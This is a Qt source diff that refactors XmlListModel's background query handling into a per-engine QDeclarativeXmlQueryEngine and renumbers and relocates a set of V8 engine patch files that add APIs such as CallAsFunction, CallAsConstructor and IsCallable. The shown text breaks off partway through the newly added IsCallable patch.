+ job.query = QLatin1String("doc($src)") + query;
+ job.namespaces = namespaces;
+ job.keyRoleResultsCache = keyRoleResultsCache;
+
+ for (int i=0; i<roleObjects->count(); i++) {
+ if (!roleObjects->at(i)->isValid()) {
+ job.roleQueries << QString();
+ continue;
+ }
+ job.roleQueries << roleObjects->at(i)->query();
+ job.roleQueryErrorId << static_cast<void*>(roleObjects->at(i));
+ if (roleObjects->at(i)->isKey())
+ job.keyRoleQueries << job.roleQueries.last();
+ }
+
+ {
+ QMutexLocker ml(&m_mutex);
+ m_jobs.append(job);
+ if (m_threadObject)
+ m_threadObject->processJobs();
+ }
+
+ return job.queryId;
+}
+
+void QDeclarativeXmlQueryEngine::abort(int id)
+{
+ QMutexLocker ml(&m_mutex);
+ if (id != -1)
+ m_cancelledJobs.insert(id);
+}
+
+void QDeclarativeXmlQueryEngine::run()
+{
+ m_mutex.lock();
+ m_threadObject = new QDeclarativeXmlQueryThreadObject(this);
+ m_mutex.unlock();
+
+ processJobs();
+ exec();
+
+ delete m_threadObject;
+ m_threadObject = 0;
+}
+
+void QDeclarativeXmlQueryEngine::processJobs()
+{
+ QMutexLocker locker(&m_mutex);
+
+ while (true) {
+ if (m_jobs.isEmpty())
+ return;
+
+ XmlQueryJob currentJob = m_jobs.takeLast();
+ while (m_cancelledJobs.remove(currentJob.queryId)) {
+ if (m_jobs.isEmpty())
+ return;
+ currentJob = m_jobs.takeLast();
+ }
-void QDeclarativeXmlQuery::doQueryJob(XmlQueryJob *currentJob, QDeclarativeXmlQueryResult *currentResult)
+ locker.unlock();
+ processQuery(&currentJob);
+ locker.relock();
+ }
+}
+
+QDeclarativeXmlQueryEngine *QDeclarativeXmlQueryEngine::instance(QDeclarativeEngine *engine)
+{
+ queryEnginesMutex.lock();
+ QDeclarativeXmlQueryEngine *queryEng = queryEngines.value(engine);
+ if (!queryEng) {
+ queryEng = new QDeclarativeXmlQueryEngine(engine);
+ queryEngines.insert(engine, queryEng);
+ }
+ queryEnginesMutex.unlock();
+
+ return queryEng;
+}
+
+void QDeclarativeXmlQueryEngine::processQuery(XmlQueryJob *job)
+{
+ QDeclarativeXmlQueryResult result;
+ result.queryId = job->queryId;
+ doQueryJob(job, &result);
+ doSubQueryJob(job, &result);
+
+ {
+ QMutexLocker ml(&m_mutex);
+ if (m_cancelledJobs.contains(job->queryId)) {
+ m_cancelledJobs.remove(job->queryId);
+ } else {
+ emit queryCompleted(result);
+ }
+ }
+}
+
+void QDeclarativeXmlQueryEngine::doQueryJob(XmlQueryJob *currentJob, QDeclarativeXmlQueryResult *currentResult)
{
Q_ASSERT(currentJob->queryId != -1);
@@ -293,7 +396,7 @@ void QDeclarativeXmlQuery::doQueryJob(XmlQueryJob *currentJob, QDeclarativeXmlQu
currentResult->size = (count > 0 ? count : 0);
}
-void QDeclarativeXmlQuery::getValuesOfKeyRoles(const XmlQueryJob& currentJob, QStringList *values, QXmlQuery *query) const
+void QDeclarativeXmlQueryEngine::getValuesOfKeyRoles(const XmlQueryJob& currentJob, QStringList *values, QXmlQuery *query) const
{
const QStringList &keysQueries = currentJob.keyRoleQueries;
QString keysQuery;
@@ -314,7 +417,7 @@ void QDeclarativeXmlQuery::getValuesOfKeyRoles(const XmlQueryJob& currentJob, QS
}
}
-void QDeclarativeXmlQuery::addIndexToRangeList(QList<QDeclarativeXmlListRange> *ranges, int index) const {
+void QDeclarativeXmlQueryEngine::addIndexToRangeList(QList<QDeclarativeXmlListRange> *ranges, int index) const {
if (ranges->isEmpty())
ranges->append(qMakePair(index, 1));
else if (ranges->last().first + ranges->last().second == index)
@@ -323,7 +426,7 @@ void QDeclarativeXmlQuery::addIndexToRangeList(QList<QDeclarativeXmlListRange> *
ranges->append(qMakePair(index, 1));
}
-void QDeclarativeXmlQuery::doSubQueryJob(XmlQueryJob *currentJob, QDeclarativeXmlQueryResult *currentResult)
+void QDeclarativeXmlQueryEngine::doSubQueryJob(XmlQueryJob *currentJob, QDeclarativeXmlQueryResult *currentResult)
{
Q_ASSERT(currentJob->queryId != -1);
@@ -434,6 +537,15 @@ public:
emit q->statusChanged(status);
}
+ void deleteReply() {
+ Q_Q(QDeclarativeXmlListModel);
+ if (reply) {
+ QObject::disconnect(reply, 0, q, 0);
+ reply->deleteLater();
+ reply = 0;
+ }
+ }
+
bool isComponentComplete;
QUrl src;
QString xml;
@@ -443,6 +555,7 @@ public:
QList<int> roles;
QStringList roleNames;
int highestRole;
+
QNetworkReply *reply;
QDeclarativeXmlListModel::Status status;
QString errorString;
@@ -450,6 +563,7 @@ public:
int queryId;
QStringList keyRoleResultsCache;
QList<QDeclarativeXmlListModelRole *> roleObjects;
+
static void append_role(QDeclarativeListProperty<QDeclarativeXmlListModelRole> *list, QDeclarativeXmlListModelRole *role);
static void clear_role(QDeclarativeListProperty<QDeclarativeXmlListModelRole> *list);
QList<QList<QVariant> > data;
@@ -485,8 +599,8 @@ void QDeclarativeXmlListModelPrivate::clear_role(QDeclarativeListProperty<QDecla
/*!
\qmlclass XmlListModel QDeclarativeXmlListModel
+ \inqmlmodule QtQuick 2
\ingroup qml-working-with-data
- \since 4.7
\brief The XmlListModel element is used to specify a read-only model using XPath expressions.
XmlListModel is used to create a read-only model from XML data. It can be used as a data source
@@ -583,10 +697,6 @@ void QDeclarativeXmlListModelPrivate::clear_role(QDeclarativeListProperty<QDecla
QDeclarativeXmlListModel::QDeclarativeXmlListModel(QObject *parent)
: QListModelInterface(*(new QDeclarativeXmlListModelPrivate), parent)
{
- connect(globalXmlQuery(), SIGNAL(queryCompleted(QDeclarativeXmlQueryResult)),
- this, SLOT(queryCompleted(QDeclarativeXmlQueryResult)));
- connect(globalXmlQuery(), SIGNAL(error(void*,QString)),
- this, SLOT(queryError(void*,QString)));
}
QDeclarativeXmlListModel::~QDeclarativeXmlListModel()
@@ -594,7 +704,7 @@ QDeclarativeXmlListModel::~QDeclarativeXmlListModel()
}
/*!
- \qmlproperty list<XmlRole> XmlListModel::roles
+ \qmlproperty list<XmlRole> QtQuick2::XmlListModel::roles
The roles to make available for this model.
*/
@@ -627,7 +737,7 @@ QVariant QDeclarativeXmlListModel::data(int index, int role) const
}
/*!
- \qmlproperty int XmlListModel::count
+ \qmlproperty int QtQuick2::XmlListModel::count
The number of data entries in the model.
*/
int QDeclarativeXmlListModel::count() const
@@ -652,7 +762,7 @@ QString QDeclarativeXmlListModel::toString(int role) const
}
/*!
- \qmlproperty url XmlListModel::source
+ \qmlproperty url QtQuick2::XmlListModel::source
The location of the XML data source.
If both \c source and \l xml are set, \l xml is used.
@@ -675,7 +785,7 @@ void QDeclarativeXmlListModel::setSource(const QUrl &src)
}
/*!
- \qmlproperty string XmlListModel::xml
+ \qmlproperty string QtQuick2::XmlListModel::xml
This property holds the XML data for this model, if set.
The text is assumed to be UTF-8 encoded.
@@ -699,7 +809,7 @@ void QDeclarativeXmlListModel::setXml(const QString &xml)
}
/*!
- \qmlproperty string XmlListModel::query
+ \qmlproperty string QtQuick2::XmlListModel::query
An absolute XPath query representing the base query for creating model items
from this model's XmlRole objects. The query should start with '/' or '//'.
*/
@@ -725,7 +835,7 @@ void QDeclarativeXmlListModel::setQuery(const QString &query)
}
/*!
- \qmlproperty string XmlListModel::namespaceDeclarations
+ \qmlproperty string QtQuick2::XmlListModel::namespaceDeclarations
The namespace declarations to be used in the XPath queries.
The namespaces should be declared as in XQuery. For example, if a requested document
@@ -759,7 +869,7 @@ void QDeclarativeXmlListModel::setNamespaceDeclarations(const QString &declarati
}
/*!
- \qmlmethod object XmlListModel::get(int index)
+ \qmlmethod object QtQuick2::XmlListModel::get(int index)
Returns the item at \a index in the model.
@@ -799,7 +909,7 @@ QDeclarativeV8Handle QDeclarativeXmlListModel::get(int index) const
}
/*!
- \qmlproperty enumeration XmlListModel::status
+ \qmlproperty enumeration QtQuick2::XmlListModel::status
Specifies the model loading status, which can be one of the following:
\list
@@ -820,7 +930,7 @@ QDeclarativeXmlListModel::Status QDeclarativeXmlListModel::status() const
}
/*!
- \qmlproperty real XmlListModel::progress
+ \qmlproperty real QtQuick2::XmlListModel::progress
This indicates the current progress of the downloading of the XML data
source. This value ranges from 0.0 (no data downloaded) to
@@ -841,7 +951,7 @@ qreal QDeclarativeXmlListModel::progress() const
}
/*!
- \qmlmethod void XmlListModel::errorString()
+ \qmlmethod void QtQuick2::XmlListModel::errorString()
Returns a string description of the last error that occurred
if \l status is XmlListModel::Error.
@@ -856,6 +966,12 @@ void QDeclarativeXmlListModel::classBegin()
{
Q_D(QDeclarativeXmlListModel);
d->isComponentComplete = false;
+
+ QDeclarativeXmlQueryEngine *queryEngine = QDeclarativeXmlQueryEngine::instance(qmlEngine(this));
+ connect(queryEngine, SIGNAL(queryCompleted(QDeclarativeXmlQueryResult)),
+ SLOT(queryCompleted(QDeclarativeXmlQueryResult)));
+ connect(queryEngine, SIGNAL(error(void*,QString)),
+ SLOT(queryError(void*,QString)));
}
void QDeclarativeXmlListModel::componentComplete()
@@ -866,7 +982,7 @@ void QDeclarativeXmlListModel::componentComplete()
}
/*!
- \qmlmethod XmlListModel::reload()
+ \qmlmethod QtQuick2::XmlListModel::reload()
Reloads the model.
@@ -885,7 +1001,7 @@ void QDeclarativeXmlListModel::reload()
if (!d->isComponentComplete)
return;
- globalXmlQuery()->abort(d->queryId);
+ QDeclarativeXmlQueryEngine::instance(qmlEngine(this))->abort(d->queryId);
d->queryId = -1;
if (d->size < 0)
@@ -893,15 +1009,11 @@ void QDeclarativeXmlListModel::reload()
if (d->reply) {
d->reply->abort();
- if (d->reply) {
- // abort will generally have already done this (and more)
- d->reply->deleteLater();
- d->reply = 0;
- }
+ d->deleteReply();
}
if (!d->xml.isEmpty()) {
- d->queryId = globalXmlQuery()->doQuery(d->query, d->namespaces, d->xml.toUtf8(), &d->roleObjects, d->keyRoleResultsCache);
+ d->queryId = QDeclarativeXmlQueryEngine::instance(qmlEngine(this))->doQuery(d->query, d->namespaces, d->xml.toUtf8(), &d->roleObjects, d->keyRoleResultsCache);
d->notifyQueryStarted(false);
} else if (d->src.isEmpty()) {
@@ -931,8 +1043,7 @@ void QDeclarativeXmlListModel::requestFinished()
QVariant redirect = d->reply->attribute(QNetworkRequest::RedirectionTargetAttribute);
if (redirect.isValid()) {
QUrl url = d->reply->url().resolved(redirect.toUrl());
- d->reply->deleteLater();
- d->reply = 0;
+ d->deleteReply();
setSource(url);
return;
}
@@ -941,9 +1052,7 @@ void QDeclarativeXmlListModel::requestFinished()
if (d->reply->error() != QNetworkReply::NoError) {
d->errorString = d->reply->errorString();
- disconnect(d->reply, 0, this, 0);
- d->reply->deleteLater();
- d->reply = 0;
+ d->deleteReply();
int count = this->count();
d->data.clear();
@@ -962,11 +1071,9 @@ void QDeclarativeXmlListModel::requestFinished()
d->queryId = XMLLISTMODEL_CLEAR_ID;
QTimer::singleShot(0, this, SLOT(dataCleared()));
} else {
- d->queryId = globalXmlQuery()->doQuery(d->query, d->namespaces, data, &d->roleObjects, d->keyRoleResultsCache);
+ d->queryId = QDeclarativeXmlQueryEngine::instance(qmlEngine(this))->doQuery(d->query, d->namespaces, data, &d->roleObjects, d->keyRoleResultsCache);
}
- disconnect(d->reply, 0, this, 0);
- d->reply->deleteLater();
- d->reply = 0;
+ d->deleteReply();
d->progress = 1.0;
emit progressChanged(d->progress);
diff --git a/src/declarative/util/qlistmodelinterface.cpp b/src/declarative/util/qlistmodelinterface.cpp
index 17fce99f15..56fc8eeb51 100644
--- a/src/declarative/util/qlistmodelinterface.cpp
+++ b/src/declarative/util/qlistmodelinterface.cpp
@@ -46,7 +46,6 @@ QT_BEGIN_NAMESPACE
/*!
\internal
\class QListModelInterface
- \since 4.7
\brief The QListModelInterface class can be subclassed to provide C++ models to QDeclarativeGraphics Views
This class is comprised primarily of pure virtual functions which
diff --git a/src/declarative/v8/0001-Add-hashing-and-comparison-methods-to-v8-String.patch b/src/declarative/v8/0001-Add-hashing-and-comparison-methods-to-v8-String.patch
index 4596202944..1fb3b90733 100644
--- a/src/declarative/v8/0001-Add-hashing-and-comparison-methods-to-v8-String.patch
+++ b/src/declarative/v8/0001-Add-hashing-and-comparison-methods-to-v8-String.patch
@@ -1,7 +1,7 @@
From e13ce09287a56c920d5ffdc5d4662d49f1838f16 Mon Sep 17 00:00:00 2001
From: Aaron Kennedy <aaron.kennedy@nokia.com>
Date: Mon, 23 May 2011 15:47:20 +1000
-Subject: [PATCH 1/8] Add hashing and comparison methods to v8::String
+Subject: [PATCH 01/13] Add hashing and comparison methods to v8::String
This allows us to more rapidly search for a v8::String inside
a hash of QStrings.
diff --git a/src/declarative/v8/0002-Add-a-bit-field-3-to-Map.patch b/src/declarative/v8/0002-Add-a-bit-field-3-to-Map.patch
index cb578c0f96..daf8b35570 100644
--- a/src/declarative/v8/0002-Add-a-bit-field-3-to-Map.patch
+++ b/src/declarative/v8/0002-Add-a-bit-field-3-to-Map.patch
@@ -1,7 +1,7 @@
From 7c9cfff80b7864d5687432d424074e51712c4a07 Mon Sep 17 00:00:00 2001
From: Aaron Kennedy <aaron.kennedy@nokia.com>
Date: Mon, 23 May 2011 15:55:26 +1000
-Subject: [PATCH 2/8] Add a bit field 3 to Map
+Subject: [PATCH 02/13] Add a bit field 3 to Map
Bit field 3 will be used to add QML specific map flags.
---
diff --git a/src/declarative/v8/0003-Add-a-fallback-mode-for-named-property-interceptors.patch b/src/declarative/v8/0003-Add-a-fallback-mode-for-named-property-interceptors.patch
index daa2250a25..1c81b2af9d 100644
--- a/src/declarative/v8/0003-Add-a-fallback-mode-for-named-property-interceptors.patch
+++ b/src/declarative/v8/0003-Add-a-fallback-mode-for-named-property-interceptors.patch
@@ -1,7 +1,7 @@
From ae8688b53d67044f2c9b0cce25fc282b078610c1 Mon Sep 17 00:00:00 2001
From: Aaron Kennedy <aaron.kennedy@nokia.com>
Date: Mon, 23 May 2011 16:21:02 +1000
-Subject: [PATCH 3/8] Add a "fallback" mode for named property interceptors
+Subject: [PATCH 03/13] Add a "fallback" mode for named property interceptors
By default interceptors are called before the normal property
resolution on objects. When an interceptor is installed as a
diff --git a/src/declarative/v8/0004-Generalize-external-object-resources.patch b/src/declarative/v8/0004-Generalize-external-object-resources.patch
index 56e5e371fd..6b85666cf0 100644
--- a/src/declarative/v8/0004-Generalize-external-object-resources.patch
+++ b/src/declarative/v8/0004-Generalize-external-object-resources.patch
@@ -1,7 +1,7 @@
From 4827116b12c50f6662794017c5a662b5dbb2da0b Mon Sep 17 00:00:00 2001
From: Aaron Kennedy <aaron.kennedy@nokia.com>
Date: Mon, 23 May 2011 16:55:35 +1000
-Subject: [PATCH 4/8] Generalize external object resources
+Subject: [PATCH 04/13] Generalize external object resources
V8 was already able to manage and finalize an external string
resource. This change generalizes that mechanism to handle a
diff --git a/src/declarative/v8/0005-Introduce-a-QML-compilation-mode.patch b/src/declarative/v8/0005-Introduce-a-QML-compilation-mode.patch
index 7ec10e9448..2dfd3d9699 100644
--- a/src/declarative/v8/0005-Introduce-a-QML-compilation-mode.patch
+++ b/src/declarative/v8/0005-Introduce-a-QML-compilation-mode.patch
@@ -1,7 +1,7 @@
From fd7d475e298e5b63cd6383c78cc900635c82aa38 Mon Sep 17 00:00:00 2001
From: Aaron Kennedy <aaron.kennedy@nokia.com>
Date: Mon, 23 May 2011 18:26:19 +1000
-Subject: [PATCH 5/8] Introduce a QML compilation mode
+Subject: [PATCH 05/13] Introduce a QML compilation mode
In QML mode, there is a second global object - known as the QML
global object. During property resolution, if a property is not
diff --git a/src/declarative/v8/0006-Allow-access-to-the-calling-script-data.patch b/src/declarative/v8/0006-Allow-access-to-the-calling-script-data.patch
index 7af81c3f69..b9c44654cd 100644
--- a/src/declarative/v8/0006-Allow-access-to-the-calling-script-data.patch
+++ b/src/declarative/v8/0006-Allow-access-to-the-calling-script-data.patch
@@ -1,7 +1,7 @@
From f890f0d1a1e5bd62711815489c87755a4f382436 Mon Sep 17 00:00:00 2001
From: Aaron Kennedy <aaron.kennedy@nokia.com>
Date: Wed, 25 May 2011 10:36:13 +1000
-Subject: [PATCH 6/8] Allow access to the calling script data
+Subject: [PATCH 06/13] Allow access to the calling script data
---
include/v8.h | 1 +
diff --git a/src/declarative/v8/0007-Fix-warnings.patch b/src/declarative/v8/0007-Fix-warnings.patch
index 2efc8331aa..60fb24c138 100644
--- a/src/declarative/v8/0007-Fix-warnings.patch
+++ b/src/declarative/v8/0007-Fix-warnings.patch
@@ -1,7 +1,7 @@
From dac5d9db84cf20564621c679937ca7b9c6a8e880 Mon Sep 17 00:00:00 2001
From: Aaron Kennedy <aaron.kennedy@nokia.com>
Date: Fri, 27 May 2011 13:04:15 +1000
-Subject: [PATCH 7/8] Fix warnings
+Subject: [PATCH 07/13] Fix warnings
---
include/v8.h | 16 ++++++++--------
diff --git a/src/declarative/v8/0008-Add-custom-object-compare-callback.patch b/src/declarative/v8/0008-Add-custom-object-compare-callback.patch
index 659cf4c167..fdb0895f06 100644
--- a/src/declarative/v8/0008-Add-custom-object-compare-callback.patch
+++ b/src/declarative/v8/0008-Add-custom-object-compare-callback.patch
@@ -1,7 +1,7 @@
From bec11b8b7f89d135e7d9a823ac4fe98c70d017cf Mon Sep 17 00:00:00 2001
From: Aaron Kennedy <aaron.kennedy@nokia.com>
Date: Mon, 27 Jun 2011 14:57:28 +1000
-Subject: [PATCH 8/8] Add custom object compare callback
+Subject: [PATCH 08/13] Add custom object compare callback
A global custom object comparison callback can be set with:
V8::SetUserObjectComparisonCallbackFunction()
diff --git a/src/v8/0009-Add-CallAsFunction-method-to-the-Object-class-in-the.patch b/src/declarative/v8/0009-Add-CallAsFunction-method-to-the-Object-class-in-the.patch
index 6cd9294d31..89ec7b96bc 100644
--- a/src/v8/0009-Add-CallAsFunction-method-to-the-Object-class-in-the.patch
+++ b/src/declarative/v8/0009-Add-CallAsFunction-method-to-the-Object-class-in-the.patch
@@ -1,7 +1,7 @@
-From 5719ba59309e85f3ca47da6b64df66e710f3016f Mon Sep 17 00:00:00 2001
-From: "ager@chromium.org" <ager@chromium.org@ce2b1a6d-e550-0410-aec6-3dcde31c8c00>
+From 4183b973ed3bd603784c798dfa63ba48f6b68003 Mon Sep 17 00:00:00 2001
+From: ager@chromium.org <ager@chromium.org>
Date: Wed, 4 May 2011 13:03:08 +0000
-Subject: [PATCH] Add CallAsFunction method to the Object class in the API
+Subject: [PATCH 09/13] Add CallAsFunction method to the Object class in the API
Patch by Peter Varga.
@@ -20,10 +20,10 @@ git-svn-id: https://v8.googlecode.com/svn/branches/bleeding_edge@7781 ce2b1a6d-e
5 files changed, 163 insertions(+), 37 deletions(-)
diff --git a/include/v8.h b/include/v8.h
-index 4dcbf28..78ee7e6 100644
+index d5d6972..8a8e1cd 100644
--- a/include/v8.h
+++ b/include/v8.h
-@@ -1606,6 +1606,14 @@ class Object : public Value {
+@@ -1757,6 +1757,14 @@ class Object : public Value {
V8EXPORT ExternalArrayType GetIndexedPropertiesExternalArrayDataType();
V8EXPORT int GetIndexedPropertiesExternalArrayDataLength();
@@ -39,10 +39,10 @@ index 4dcbf28..78ee7e6 100644
static inline Object* Cast(Value* obj);
private:
diff --git a/src/api.cc b/src/api.cc
-index 792e488..c72857d 100644
+index 2436031..e412e51 100644
--- a/src/api.cc
+++ b/src/api.cc
-@@ -3255,6 +3255,37 @@ int v8::Object::GetIndexedPropertiesExternalArrayDataLength() {
+@@ -3259,6 +3259,37 @@ int v8::Object::GetIndexedPropertiesExternalArrayDataLength() {
}
@@ -81,10 +81,10 @@ index 792e488..c72857d 100644
return NewInstance(0, NULL);
}
diff --git a/src/execution.cc b/src/execution.cc
-index eb26438..850dec5 100644
+index 1632076..894d741 100644
--- a/src/execution.cc
+++ b/src/execution.cc
-@@ -234,6 +234,30 @@ Handle<Object> Execution::GetFunctionDelegate(Handle<Object> object) {
+@@ -254,6 +254,30 @@ Handle<Object> Execution::GetFunctionDelegate(Handle<Object> object) {
}
@@ -116,10 +116,10 @@ index eb26438..850dec5 100644
ASSERT(!object->IsJSFunction());
Isolate* isolate = Isolate::Current();
diff --git a/src/execution.h b/src/execution.h
-index d4b80d2..e89d6ba 100644
+index a476eb4..0a0be51 100644
--- a/src/execution.h
+++ b/src/execution.h
-@@ -138,6 +138,8 @@ class Execution : public AllStatic {
+@@ -144,6 +144,8 @@ class Execution : public AllStatic {
// Get a function delegate (or undefined) for the given non-function
// object. Used for support calling objects as functions.
static Handle<Object> GetFunctionDelegate(Handle<Object> object);
@@ -129,7 +129,7 @@ index d4b80d2..e89d6ba 100644
// Get a function delegate (or undefined) for the given non-function
// object. Used for support calling objects as constructors.
diff --git a/test/cctest/test-api.cc b/test/cctest/test-api.cc
-index e2a7fb1..c6affe5 100644
+index d7621d1..693d51e 100644
--- a/test/cctest/test-api.cc
+++ b/test/cctest/test-api.cc
@@ -6962,50 +6962,111 @@ THREADED_TEST(CallAsFunction) {
@@ -282,5 +282,5 @@ index e2a7fb1..c6affe5 100644
--
-1.7.5.4
+1.7.2.3
diff --git a/src/v8/0010-Implement-CallAsConstructor-method-for-Object-in-the.patch b/src/declarative/v8/0010-Implement-CallAsConstructor-method-for-Object-in-the.patch
index 7d90f0dfbd..09c2d4af1a 100644
--- a/src/v8/0010-Implement-CallAsConstructor-method-for-Object-in-the.patch
+++ b/src/declarative/v8/0010-Implement-CallAsConstructor-method-for-Object-in-the.patch
@@ -1,7 +1,7 @@
-From fd2cc52576e8c89f3dffc2b4b5a9cc9c48a96f32 Mon Sep 17 00:00:00 2001
-From: "ager@chromium.org" <ager@chromium.org@ce2b1a6d-e550-0410-aec6-3dcde31c8c00>
+From 3d6d4249878f7960eac4c9c94e0f2529f9a58c4a Mon Sep 17 00:00:00 2001
+From: ager@chromium.org <ager@chromium.org>
Date: Fri, 6 May 2011 11:07:52 +0000
-Subject: [PATCH] Implement CallAsConstructor method for Object in the API
+Subject: [PATCH 10/13] Implement CallAsConstructor method for Object in the API
Patch by Peter Varga.
@@ -20,10 +20,10 @@ git-svn-id: https://v8.googlecode.com/svn/branches/bleeding_edge@7803 ce2b1a6d-e
5 files changed, 276 insertions(+), 8 deletions(-)
diff --git a/include/v8.h b/include/v8.h
-index 4921823..5fc8059 100644
+index 8a8e1cd..84462b5 100644
--- a/include/v8.h
+++ b/include/v8.h
-@@ -1614,6 +1614,14 @@ class Object : public Value {
+@@ -1765,6 +1765,14 @@ class Object : public Value {
int argc,
Handle<Value> argv[]);
@@ -39,10 +39,10 @@ index 4921823..5fc8059 100644
static inline Object* Cast(Value* obj);
private:
diff --git a/src/api.cc b/src/api.cc
-index c5c66a7..9194641 100644
+index e412e51..1a585d6 100644
--- a/src/api.cc
+++ b/src/api.cc
-@@ -3262,7 +3262,7 @@ Local<v8::Value> Object::CallAsFunction(v8::Handle<v8::Object> recv, int argc,
+@@ -3266,7 +3266,7 @@ Local<v8::Value> Object::CallAsFunction(v8::Handle<v8::Object> recv, int argc,
return Local<v8::Value>());
LOG_API(isolate, "Object::CallAsFunction");
ENTER_V8(isolate);
@@ -51,7 +51,7 @@ index c5c66a7..9194641 100644
i::Handle<i::JSObject> obj = Utils::OpenHandle(this);
i::Handle<i::Object> recv_obj = Utils::OpenHandle(*recv);
STATIC_ASSERT(sizeof(v8::Handle<v8::Value>) == sizeof(i::Object**));
-@@ -3282,7 +3282,44 @@ Local<v8::Value> Object::CallAsFunction(v8::Handle<v8::Object> recv, int argc,
+@@ -3286,7 +3286,44 @@ Local<v8::Value> Object::CallAsFunction(v8::Handle<v8::Object> recv, int argc,
i::Handle<i::Object> returned =
i::Execution::Call(fun, recv_obj, argc, args, &has_pending_exception);
EXCEPTION_BAILOUT_CHECK(isolate, Local<Value>());
@@ -98,10 +98,10 @@ index c5c66a7..9194641 100644
diff --git a/src/execution.cc b/src/execution.cc
-index 4ab3e78..db74492 100644
+index 894d741..afb352c 100644
--- a/src/execution.cc
+++ b/src/execution.cc
-@@ -277,6 +277,34 @@ Handle<Object> Execution::GetConstructorDelegate(Handle<Object> object) {
+@@ -297,6 +297,34 @@ Handle<Object> Execution::GetConstructorDelegate(Handle<Object> object) {
}
@@ -137,10 +137,10 @@ index 4ab3e78..db74492 100644
ExecutionAccess access(isolate_);
return (thread_local_.jslimit_ != kInterruptLimit &&
diff --git a/src/execution.h b/src/execution.h
-index 74189a2..7b6a48c 100644
+index 0a0be51..ec2a195 100644
--- a/src/execution.h
+++ b/src/execution.h
-@@ -146,6 +146,8 @@ class Execution : public AllStatic {
+@@ -150,6 +150,8 @@ class Execution : public AllStatic {
// Get a function delegate (or undefined) for the given non-function
// object. Used for support calling objects as constructors.
static Handle<Object> GetConstructorDelegate(Handle<Object> object);
@@ -150,10 +150,10 @@ index 74189a2..7b6a48c 100644
diff --git a/test/cctest/test-api.cc b/test/cctest/test-api.cc
-index 1bcc232..f48d5b4 100644
+index 693d51e..1334f63 100644
--- a/test/cctest/test-api.cc
+++ b/test/cctest/test-api.cc
-@@ -6747,6 +6747,200 @@ THREADED_TEST(Constructor) {
+@@ -6746,6 +6746,200 @@ THREADED_TEST(Constructor) {
CHECK(value->BooleanValue());
}
@@ -354,7 +354,7 @@ index 1bcc232..f48d5b4 100644
THREADED_TEST(FunctionDescriptorException) {
v8::HandleScope handle_scope;
LocalContext context;
-@@ -7029,9 +7223,8 @@ THREADED_TEST(CallAsFunction) {
+@@ -7028,9 +7222,8 @@ THREADED_TEST(CallAsFunction) {
CHECK(value.IsEmpty());
CHECK(try_catch.HasCaught());
String::AsciiValue exception_value1(try_catch.Exception());
@@ -366,7 +366,7 @@ index 1bcc232..f48d5b4 100644
try_catch.Reset();
// Call an object without call-as-function handler through the API
-@@ -7041,7 +7234,7 @@ THREADED_TEST(CallAsFunction) {
+@@ -7040,7 +7233,7 @@ THREADED_TEST(CallAsFunction) {
CHECK(value.IsEmpty());
CHECK(try_catch.HasCaught());
String::AsciiValue exception_value2(try_catch.Exception());
@@ -375,7 +375,7 @@ index 1bcc232..f48d5b4 100644
try_catch.Reset();
}
-@@ -7058,14 +7251,14 @@ THREADED_TEST(CallAsFunction) {
+@@ -7057,14 +7250,14 @@ THREADED_TEST(CallAsFunction) {
value = CompileRun("obj3(22)");
CHECK(try_catch.HasCaught());
String::AsciiValue exception_value1(try_catch.Exception());
@@ -393,5 +393,5 @@ index 1bcc232..f48d5b4 100644
}
}
--
-1.7.5.4
+1.7.2.3
diff --git a/src/v8/0011-QtScript-V8-Add-new-v8-api-to-check-if-a-value-is-an.patch b/src/declarative/v8/0011-QtScript-V8-Add-new-v8-api-to-check-if-a-value-is-an.patch
index 0558ce19f6..f4a15bf97a 100644
--- a/src/v8/0011-QtScript-V8-Add-new-v8-api-to-check-if-a-value-is-an.patch
+++ b/src/declarative/v8/0011-QtScript-V8-Add-new-v8-api-to-check-if-a-value-is-an.patch
@@ -1,7 +1,7 @@
-From 859c452847317efe1131e337fcd51514de616ea2 Mon Sep 17 00:00:00 2001
+From f22d0312faeb93ced8747d9aae8c6d77e11b4aba Mon Sep 17 00:00:00 2001
From: Jedrzej Nowacki <jedrzej.nowacki@nokia.com>
Date: Tue, 7 Dec 2010 11:56:42 +0100
-Subject: [PATCH] QtScript/V8: Add new v8 api to check if a value is an error.
+Subject: [PATCH 11/13] QtScript/V8: Add new v8 api to check if a value is an error.
New function v8::Value::IsError was created.
@@ -14,7 +14,7 @@ research.
3 files changed, 12 insertions(+), 0 deletions(-)
diff --git a/include/v8.h b/include/v8.h
-index 303cb7a..f992cb2 100644
+index 84462b5..08b0ec2 100644
--- a/include/v8.h
+++ b/include/v8.h
@@ -937,6 +937,11 @@ class Value : public Data {
@@ -30,7 +30,7 @@ index 303cb7a..f992cb2 100644
V8EXPORT Local<Number> ToNumber() const;
V8EXPORT Local<String> ToString() const;
diff --git a/src/api.cc b/src/api.cc
-index fd4a76b..5ada246 100644
+index 1a585d6..bd435eb 100644
--- a/src/api.cc
+++ b/src/api.cc
@@ -2108,6 +2108,12 @@ bool Value::IsRegExp() const {
@@ -59,5 +59,5 @@ index 8cbf378..db90bb9 100644
V(to_string_symbol, "toString") \
V(char_at_symbol, "CharAt") \
--
-1.7.4.15.g7811d
+1.7.2.3
diff --git a/src/declarative/v8/0012-Add-IsCallable-method-for-Object-in-the-API.patch b/src/declarative/v8/0012-Add-IsCallable-method-for-Object-in-the-API.patch
new file mode 100644
index 0000000000..e4c46b0cbf
--- /dev/null
+++ b/src/declarative/v8/0012-Add-IsCallable-method-for-Object-in-the-API.patch
@@ -0,0 +1,116 @@
+From 472c04c9e7a64e8734c76d2cf97a7cc5b773b788 Mon Sep 17 00:00:00 2001
+From: ager@chromium.org <ager@chromium.org@ce2b1a6d-e550-0410-aec6-3dcde31c8c00>
+Date: Mon, 9 May 2011 15:24:48 +0000
+Subject: [PATCH 12/13] Add IsCallable method for Object in the API
+
+Patch by Peter Varga.
+
+BUG=none
+TEST=cctest/test-api/CallableObject
+
+Review URL: http://codereview.chromium.org/6964005
+
+git-svn-id: https://v8.googlecode.com/svn/branches/bleeding_edge@7828 ce2b1a6d-e550-0410-aec6-3dcde31c8c00
+---
+ include/v8.h | 7 +++++++
+ src/api.cc | 11 +++++++++++
+ test/cctest/test-api.cc | 43 +++++++++++++++++++++++++++++++++++++++++++
+ 3 files changed, 61 insertions(+), 0 deletions(-)
+
+diff --git a/include/v8.h b/include/v8.h
+index 08b0ec2..4194d4a 100644
+--- a/include/v8.h
++++ b/include/v8.h
+@@ -1763,6 +1763,13 @@ class Object : public Value {
+ V8EXPORT int GetIndexedPropertiesExternalArrayDataLength();
+
+ /**
++ * Checks whether a callback is set by the
++ * ObjectTemplate::SetCallAsFunctionHandler method.
++ * When an Object is callable this method returns true.
